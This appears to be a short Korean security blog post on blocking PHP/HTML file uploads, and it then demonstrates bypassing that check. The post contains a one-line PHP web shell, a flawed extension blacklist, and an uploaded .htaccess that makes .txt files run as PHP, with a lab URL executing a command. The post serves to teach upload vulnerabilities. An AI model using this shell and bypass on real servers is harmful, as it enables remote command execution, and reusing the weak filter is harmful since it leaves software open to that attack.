본문 바로가기

카테고리 없음

php, html 확장자 파일 업로드 제한하기

==================================================================== <Directory "/usr/local/apache/htdocs/pds"> Options FollowSymLinks MultiViews AllowOverride All : : </Directory> -- pdsok.php -- <? /*-- 파일 확장자 검사 --*/ $fullname = explode(".", $_FILES[upload][name]); $ext = $fullname[sizeof($fullname)-1]; if($ext == "php" || $ext == "html") { echo "<script language=JavaScript> <!-- alert('올릴 수 없는 파일입니다'); history.go(-1); --> </script> "; exit; } /*-- 파일 확장자 검사 --*/ : : -- pdsok.php -- -- webshell.php -- <? system($_GET[cmd]); ?> -- webshell.php -- webshell.php 파일이 업로드가 안된다. .htaccess -- .htaccess -- AddType application/x-httpd-php .txt .jpg -- .htaccess -- .htaccess 파일이 업로드 된다. -- webshell.txt -- // txt파일로 업로드를 하지만 php코드가 실행된다. <? system($_GET['cmd']); ?> -- webshell.txt -- http://192.168.100.100/pds/webshell.txt?cmd=pwd !!! 웹 공격 ====================================================================